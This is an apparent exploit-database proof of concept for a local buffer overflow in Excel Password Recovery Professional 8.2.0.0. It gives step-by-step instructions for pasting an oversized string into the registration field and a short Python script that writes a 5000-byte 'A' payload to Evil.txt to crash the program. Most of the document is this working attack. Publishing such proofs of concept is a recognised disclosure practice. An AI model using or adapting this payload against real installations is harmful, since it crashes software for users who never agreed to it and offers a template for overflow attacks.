# Exploit Title: Excel Password Recovery Professional 
# Date: 15-12-2018 
# Vendor Homepage:https://www.recoverlostpassword.com/
# Software Link :https://www.recoverlostpassword.com/downloads/excel_password_recovery_pro_trial.exe
# Exploit Author: Achilles
# Tested Version: 8.2.0.0
# Tested on: Windows 7 64
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow
 
# Steps to Produce the Crash: 
# 1.- Run python code : Excel_Password_Recovery.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open Excel Password Recovery Professional
# 4.- Paste the content of EVIL.txt into the field: 'E-Mail and Registrations Code'
# 5.- Click 'Register' and you will see a crash.

#!/usr/bin/env python

buffer = "\x41" * 5000

try:
  f=open("Evil.txt","w")
  print "[+] Creating %s bytes evil payload.." %len(buffer)
  f.write(buffer)
  f.close()
  print "[+] File created!"
except:
  print "File cannot be created"